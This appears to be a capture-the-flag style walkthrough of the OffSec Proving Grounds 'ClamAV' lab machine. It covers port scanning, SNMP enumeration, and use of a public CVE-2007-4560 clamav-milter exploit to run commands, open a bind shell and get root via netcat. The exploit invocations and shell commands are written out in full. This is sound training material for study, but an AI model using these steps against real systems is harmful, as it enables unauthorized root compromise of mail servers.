6 minutes
OffSec Proving Grounds: ClamAV - Walkthrough
This post contains rough notes explaining my process for exploiting the ClamAV Proving Grounds box while preparing for the OSCP certification.
My Process
This is a walkthrough for the Offsec Proving Grounds Practise box titled ClamAV.
Firstly I checked what ports were open on the machine by running a port scan with nmap:
I also scanned UDP ports but only the top 2000 since scanning UDP is slow:
sudo nmap -sU --top-ports=2000 --min-rate=5000 -v --open 192.168.210.42
(o)Nmap scan report for 192.168.210.42
(o)Host is up (0.21s latency).
(o)Not shown: 1992 open|filtered udp ports (no-response), 6 closed udp ports (port-unreach)
(o)PORT STATE SERVICE
(o)137/udp open netbios-ns
(o)161/udp open snmp
A webserver was running on port 80 so I browsed to the website and saw that there was some binary data there:
Once converted to ascii that resulted in the following string: “ifyoudontpwnmeuran00b”
So just some motiviation for us…
The SNMP UDP port was open so that was the next thing I decided to enumerate. First I tested the community string “public” and that seemed to work so I used snmpbulkwalk
to enumerate all of the MIBS and save them to a file:
snmpbulkwalk -v 2c -c public 192.168.210.42 \> snmp-bulk-out.txt
After manually scanning the output I found a few pieces of useful information:
- Information about the system:
SNMPv2-MIB::sysDescr.0 = STRING: Linux 0xbabe.local 2.6.8-4-386 #1 Wed Feb 20 06:15:54 UTC 2008 i686 - ClamAV is installed which is no surprise given the labs name:
HOST-RESOURCES-MIB::hrSWRunPath.3782 = STRING: “/usr/local/sbin/clamd”
HOST-RESOURCES-MIB::hrSWRunPath.3784 = STRING: “/usr/local/sbin/clamav-milter” - The arguments that ClamAV is running with:
HOST-RESOURCES-MIB::hrSWRunParameters.3784 = STRING: “–black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl”
At this stage I did a bit of research on what the black hole mode is by googling it. While searching I noticed that there was a RCE vulnerability in the black hole mode for clamav milter: CVE-2007-4560
Since the box has clamav-milter installed and is running SNMP this looked promising.
I found the following exploit written in go:
https://gist.github.com/0xjbb/fdf1678addf0c957bf2b284b29e4dff4
First I tested if the RCE exploit worked by trying to execute a ping command on the victim to send a few ping packets to my own machine.
I began monitoring on the tun0 interface for icmp (ping) packets:
sudo tcpdump -i tun0 ip proto \\icmp
And then ran the exploit with the ping command:
go run CVE-2007-4560.go -h 192.168.210.42 -p 25 -c "ping -c 5 192.168.45.240"
I received the ping packets on kali, showing that the RCE was successful:
sudo tcpdump -i tun0 ip proto \\icmp
(o)tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
(o)listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
(o)16:17:05.781204 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 1, length 64
(o)16:17:05.781263 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 1, length 64
(o)16:17:06.783327 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 2, length 64
(o)16:17:06.783369 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 2, length 64
(o)16:17:07.783880 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 3, length 64
(o)16:17:07.783921 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 3, length 64
(o)16:17:08.784464 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 4, length 64
(o)16:17:08.784506 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 4, length 64
(o)16:17:09.785971 IP 192.168.210.42 > 192.168.45.240: ICMP echo request, id 41488, seq 5, length 64
(o)16:17:09.786013 IP 192.168.45.240 > 192.168.210.42: ICMP echo reply, id 41488, seq 5, length 64
Now that I knew the machine was vulnerable I used the scripts -b option which executes a bind shell:
go run CVE-2007-4560.go -h 192.168.210.42 -p 25 -b
Then I connected to the bind shell with netcat, where I got a shell as the root user so no privilege escalation was necessary:
nc 192.168.210.42 31337
whoami
root
cd /root/
ls
dbootstrap_settings
install-report.template
proof.txt
cat proof.txt